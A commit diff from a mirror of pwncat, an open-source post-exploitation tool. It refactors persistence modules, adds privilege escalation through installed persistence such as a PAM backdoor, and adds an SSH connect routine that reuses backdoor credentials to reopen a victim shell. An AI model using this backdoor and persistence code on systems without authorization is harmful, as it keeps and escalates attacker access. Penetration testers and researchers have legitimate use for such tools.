1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-23 17:15:38 +01:00

Final touches on converted modules

- Got the pam persistence module working
- Added persistence escalation module to utilize installed persistence
- Added escalation module priorities (EscalateModule.PRIORITY)
  - Should be > 0.
  - Default is 100.
  - Persistence escalation has priority of -1 to ensure it runs first.
- Added enumeration module for passwords retrieved from pam persistence.
- Removed version specifier for python-rich (it was very old for some reason).
This commit is contained in:
Caleb Stewart 2020-09-23 19:31:09 -04:00
parent f0fbb9851f
commit 5d7c334644
12 changed files with 177 additions and 44 deletions

View File

@ -116,7 +116,6 @@ def main():
pwncat.victim.session.commit()
except InvalidRequestError:
pass
console.log("local terminal restored")
if __name__ == "__main__":

View File

@ -1,4 +1,5 @@
#!/usr/bin/env python3
import enum
import inspect
import pkgutil
import re
@ -39,6 +40,30 @@ class ModuleFailed(Exception):
""" Base class for module failure """
class PersistError(ModuleFailed):
""" There was a problem performing a persistence action """
class PersistType(enum.Flag):
"""
The type of persistence we are installing. Local persistence only
provides a method of persistence escalation from another user.
Remote persistence allows us to re-establish C2 after disconnecting.
Local persistence must implement the `escalate` method while remote
persistence must implement the `connect` method.
Persistence modules can be both Local and Remote (e.g. private key
persistence when a local `ssh` client is available). You can simply
bitwise OR these flags together to specify both.
"""
LOCAL = enum.auto()
REMOTE = enum.auto()
ALL_USERS = enum.auto()
@dataclass
class Argument:
""" Argument information for a module """

View File

@ -26,6 +26,7 @@ class Module(EnumerateModule):
"persist.gather", progress=self.progress, module="persist.pam_backdoor"
):
pam = module
break
if pam is None:
# The pam persistence module isn't installed.

View File

@ -7,6 +7,7 @@ import time
import os
# import rich.prompt
from rich.prompt import Confirm
import pwncat
from pwncat.modules import (
@ -353,7 +354,6 @@ class EscalateChain(Result):
pwncat.victim.update_user()
@dataclasses.dataclass
class EscalateResult(Result):
""" The result of running an escalate module. This object contains
all the enumerated techniques and provides an abstract way to employ
@ -363,6 +363,14 @@ class EscalateResult(Result):
techniques: Dict[str, List[Technique]]
""" List of techniques available keyed by the user """
def __init__(self, techniques):
self.techniques: Dict[str, List[Technique]] = {}
for key, value in techniques:
self.techniques[key] = sorted(
techniques[key], key=lambda v: v.module.PRIORITY
)
@property
def category(self):
return None
@ -388,9 +396,10 @@ class EscalateResult(Result):
for key, value in result.techniques.items():
if key not in self.techniques:
self.techniques[key] = value
self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
else:
self.techniques[key].extend(value)
self.techniques[key] = sorted(value, key=lambda v: v.module.PRIORITY)
def add(self, technique: Technique):
""" Add a new technique to this result object """
@ -671,7 +680,7 @@ class EscalateResult(Result):
# This is important. Ask the user if they want to
# clobber the authorized keys
progress.stop()
if rich.prompt.Confirm(
if Confirm(
"could not read authorized keys; attempt to clobber user keys?"
):
authkeys = []
@ -805,6 +814,11 @@ class EscalateModule(BaseModule):
# while still returning a single value
COLLAPSE_RESULT = True
PRIORITY = 100
""" The priority of this escalation module. Values < 0 are reserved.
Indicates the order in which techniques are executed when attempting
escalation. """
def run(self, user, exec, read, write, shell, path, data, **kwargs):
""" This method is not overriden by subclasses. Subclasses should
override the `enumerate`, `write`, `read`, and `exec` methods.

View File

@ -0,0 +1,52 @@
#!/usr/bin/env python3
import pwncat
from pwncat.modules import Status
from pwncat.platform import Platform
from pwncat.gtfobins import Capability
from pwncat.modules.persist import PersistError, PersistType
from pwncat.modules.persist.gather import InstalledModule
from pwncat.modules.escalate import EscalateError, EscalateModule, Technique
class PersistenceTechnique(Technique):
""" Escalates privileges utilizing an installed persistence
technique. """
def __init__(self, module: EscalateModule, user: str, persist: InstalledModule):
super(PersistenceTechnique, self).__init__(Capability.SHELL, user, module)
self.persist = persist
def exec(self, binary: str):
""" Run the given shell as another user """
try:
# Attempt to escalate
self.persist.escalate(user=self.user, progress=self.module.progress)
except PersistError as exc:
raise EscalateError(str(exc))
class Module(EscalateModule):
""" This module will enumerate all installed persistence methods which
offer local escalation. """
PLATFORM = Platform.ANY
def enumerate(self):
for persist in pwncat.modules.run("persist.gather", progress=self.progress):
if PersistType.LOCAL not in persist.module.TYPE:
continue
if persist.persist.user is None:
users = pwncat.victim.users.keys()
else:
users = persist.persist.user
for user in users:
yield PersistenceTechnique(self, user, persist)
return
def human_name(self, tech: PersistenceTechnique):
return str(tech.persist)

View File

@ -5,31 +5,15 @@ import inspect
import pwncat
import pwncat.db
from pwncat.util import State
from pwncat.modules import BaseModule, Argument, Bool, Status, ModuleFailed
class PersistError(ModuleFailed):
""" There was a problem performing a persistence action """
class PersistType(enum.Flag):
"""
The type of persistence we are installing. Local persistence only
provides a method of persistence escalation from another user.
Remote persistence allows us to re-establish C2 after disconnecting.
Local persistence must implement the `escalate` method while remote
persistence must implement the `connect` method.
Persistence modules can be both Local and Remote (e.g. private key
persistence when a local `ssh` client is available). You can simply
bitwise OR these flags together to specify both.
"""
LOCAL = enum.auto()
REMOTE = enum.auto()
ALL_USERS = enum.auto()
from pwncat.modules import (
BaseModule,
Argument,
Bool,
Status,
ModuleFailed,
PersistError,
PersistType,
)
class PersistModule(BaseModule):
@ -74,6 +58,8 @@ class PersistModule(BaseModule):
),
}
COLLAPSE_RESULT = True
# We should always try persistence before other methods.
PRIORITY = -1
def __init__(self):
super(PersistModule, self).__init__()

View File

@ -10,8 +10,8 @@ import pwncat
import pwncat.tamper
from pwncat.util import Access
from pwncat.platform import Platform
from pwncat.modules import Argument
from pwncat.modules.persist import PersistModule, PersistType, PersistError
from pwncat.modules import Argument, PersistType, PersistError
from pwncat.modules.persist import PersistModule
class Module(PersistModule):

View File

@ -31,9 +31,14 @@ class InstalledModule(Result):
""" Remove this module """
self.module.run(remove=True, progress=progress, **self.persist.args)
def escalate(self, progress=None):
def escalate(self, user=None, progress=None):
""" Escalate utilizing this persistence module """
self.module.run(escalate=True, progress=progress, **self.persist.args)
args = self.persist.args.copy()
if user is not None:
args["user"] = user
self.module.run(escalate=True, progress=progress, **args)
def connect(self, user=None, progress=None):
@ -98,6 +103,12 @@ class Module(BaseModule):
query = query.filter_by(method=module)
# Grab all the rows
# We also filter here for any other key-value arguments passed
# to the `run` call. We ensure the relevant key exists, and
# that it is equal to the specified value, unless the key is None.
# If a key is None in the database, we assume it can take on any
# value and utilize it as is. This is mainly for the `user` argument
# as some persistence methods apply to all users.
modules = [
InstalledModule(
persist=row,
@ -106,7 +117,8 @@ class Module(BaseModule):
for row in query.all()
if all(
[
key in row.args and row.args[key] == value
key in row.args
and (row.args[key] == value or row.args[key] is None)
for key, value in kwargs.items()
]
)
@ -122,10 +134,15 @@ class Module(BaseModule):
for module in modules:
yield Status(f"escalating w/ [cyan]{module.name}[/cyan]")
try:
# User is a special case. It can be passed on because some modules
# apply to all users, which means their `args` will contain `None`.
if "user" in kwargs:
module.escalate(user=kwargs["user"], progress=self.progress)
else:
module.escalate(progress=self.progress)
# Escalation succeeded!
return
except pwncat.modules.persist.PersistError:
except pwncat.modules.PersistError:
# Escalation failed
pass

View File

@ -12,8 +12,8 @@ import paramiko
import pwncat
from pwncat.util import CompilationError, Access
from pwncat.platform import Platform
from pwncat.modules import Argument, Status
from pwncat.modules.persist import PersistModule, PersistError, PersistType
from pwncat.modules import Argument, Status, PersistError, PersistType
from pwncat.modules.persist import PersistModule
class Module(PersistModule):
@ -223,7 +223,7 @@ class Module(PersistModule):
""" Escalate to the given user with this module """
try:
pwncat.victim.su(user, password, check=True)
pwncat.victim.su(user, password)
except PermissionError:
raise PersistError("Escalation failed. Is selinux enabled?")

View File

@ -1,9 +1,12 @@
#!/usr/bin/env python3
import socket
import crypt
import paramiko
import pwncat
from pwncat.modules import Argument
from pwncat.modules.persist import PersistType, PersistModule, PersistError
from pwncat.modules import Argument, Status, PersistType, PersistError
from pwncat.modules.persist import PersistModule
class Module(PersistModule):
@ -96,6 +99,42 @@ class Module(PersistModule):
# Reload the user database
pwncat.victim.reload_users()
def connect(self, user, backdoor_user, backdoor_pass, shell):
try:
yield Status("connecting to host")
# Connect to the remote host's ssh server
sock = socket.create_connection((pwncat.victim.host.ip, 22))
except Exception as exc:
raise PersistError(str(exc))
# Create a paramiko SSH transport layer around the socket
yield Status("wrapping socket in ssh transport")
t = paramiko.Transport(sock)
try:
t.start_client()
except paramiko.SSHException:
raise PersistError("ssh negotiation failed")
# Attempt authentication
try:
yield Status("authenticating with victim")
t.auth_password(backdoor_user, backdoor_pass)
except paramiko.ssh_exception.AuthenticationException:
raise PersistError("incorrect password")
if not t.is_authenticated():
t.close()
sock.close()
raise PersistError("incorrect password")
# Open an interactive session
chan = t.open_session()
chan.get_pty()
chan.invoke_shell()
yield chan
def escalate(self, user, backdoor_user, backdoor_pass, shell):
""" Utilize this module to escalate """

View File

@ -26,7 +26,7 @@ pytablewriter==0.54.0
python-dateutil==2.8.1
pytz==2020.1
requests==2.24.0
rich==3.3.2
rich
six==1.15.0
SQLAlchemy==1.3.18
tabledata==1.1.2

View File

@ -34,7 +34,7 @@ dependencies = [
"python-dateutil==2.8.1",
"pytz==2020.1",
"requests==2.24.0",
"rich==3.3.2",
"rich",
"six==1.15.0",
"SQLAlchemy==1.3.18",
"tabledata==1.1.2",